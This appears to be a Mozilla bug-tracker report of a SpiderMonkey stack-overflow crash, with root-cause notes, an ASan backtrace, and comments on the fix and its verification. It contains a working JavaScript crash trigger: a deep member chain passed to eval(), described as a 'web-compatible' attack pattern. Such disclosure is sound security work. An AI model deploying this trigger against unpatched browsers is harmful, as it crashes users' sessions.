AddressSanitizer: stack-overflow [@ (anonymous namespace)::NameResolver::nameExpression]
Categories
(Core :: JavaScript Engine, defect)
Tracking
()
People
(Reporter: decoder, Assigned: arai)
Details
(7 keywords, Whiteboard: [bugmon:update,bisected,confirmed][adv-main149-])
Attachments
(2 files, 2 external files)
The following testcase crashes on mozilla-central revision 20260130-20b1a1e6c530 (fuzzing-asan-opt build, run with --fuzzing-safe --no-threads):
// Stack overflow in NameFunctions.cpp::nameExpression() via unchecked recursion
//
// VULNERABILITY SUMMARY:
// nameExpression() in NameFunctions.cpp recurses on DotExpr chains without
// AutoCheckRecursionLimit. This is normally safe because FoldConstants visits
// the tree first with recursion limit checks. However, FoldConstants'
// internalVisitCall() deliberately SKIPS visiting a parenthesized non-function
// callee (to preserve 'this' semantics). A deep member expression chain inside
// such a callee bypasses FoldConstants' recursion depth check entirely.
//
// ROOT CAUSE (FoldConstants.cpp, internalVisitCall):
// ParseNode* callee = node->left();
// if (node->isKind(NewExpr) || !callee->isInParens() || callee->is<FunctionNode>())
// visit(callee); // <-- SKIPPED when callee is parenthesized non-function
//
// EXPLOIT MECHANISM:
// 1. Parser creates DotExpr chains iteratively (no recursion limit)
// 2. FoldConstants skips the parenthesized assignment callee (no recursion check)
// 3. NameResolver's MaxParents=100 silently skips deep nodes (returns true)
// but the shallow FunctionNode is still visited
// 4. resolveFun -> nameExpression recurses the full deep chain without any
// stack limit check, causing stack overflow
//
// ATTACK PATTERN: (a.b.b...b = function(){})()
// - Outer () make callee parenthesized
// - Callee is AssignmentExpr, not FunctionNode -> FoldConstants skips it
// - Deep DotExpr chain (left of assignment) bypasses all recursion checks
// - Anonymous function (right of assignment) triggers nameExpression on chain
//
// WEB-COMPATIBLE: Uses eval() (standard JS API, equivalent to <script> tag).
// Deep member expression chain constructed via string concatenation.
var code = "(a";
for (var i = 0; i < 200000; i++) {
code += ".b";
}
code += " = function(){})()";
eval(code);
Backtrace:
=================================================================
==1744767==ERROR: AddressSanitizer: stack-overflow on address 0x7fff5f314fe0 (pc 0x64d89393c28e bp 0x7fff5f315090 sp 0x7fff5f314fc0 T0)
#0 0x64d89393c28e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:93
#1 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
#2 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
#3 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
#4 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
#5 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
#6 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
#7 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
[...]
#245 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
SUMMARY: AddressSanitizer: stack-overflow /js/src/frontend/NameFunctions.cpp:93 in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*)
==1744767==ABORTING
This bug is part of a series of bugs reported by Anthropic, thank you for your contributions to Firefox!
| Reporter | ||
Comment 1•9 months ago
|
||
| Reporter | ||
Comment 2•9 months ago
|
||
Comment 3•9 months ago
|
||
Arai, this seems like your area of expertise. Can you take a look?
| Assignee | ||
Comment 4•9 months ago
|
||
Updated•9 months ago
|
| Assignee | ||
Updated•9 months ago
|
| Assignee | ||
Comment 5•9 months ago
|
||
Comment 6•9 months ago
|
||
Verified bug as reproducible on mozilla-central 20260131091743-1be4ab5933df.
Unable to bisect testcase (Testcase reproduces on start build!):
Start: d87cd04072b041911d218cec1baf59de7f2a5ede (20251103213617)
End: 20b1a1e6c530f3506d5378bf5f4da504b6f03661 (20260130092147)
BuildFlags: BuildFlags(asan=True, tsan=False, debug=False, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)
Comment 7•9 months ago
|
||
Note that stack overflow crashes from recursion in C++ code are usually not exploitable. Unless we can jump over the guard page or something, it's fine to land both patches after review.
Updated•9 months ago
|
Updated•9 months ago
|
Comment 10•9 months ago
|
||
Comment 11•9 months ago
|
||
https://hg.mozilla.org/mozilla-central/rev/ad6cb658f641
https://hg.mozilla.org/mozilla-central/rev/ac341452ab48
Comment 12•9 months ago
|
||
Verified bug as fixed on rev mozilla-central 20260202213805-6ef2f254c467.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.
Updated•8 months ago
|
Updated•2 months ago
|
Description
•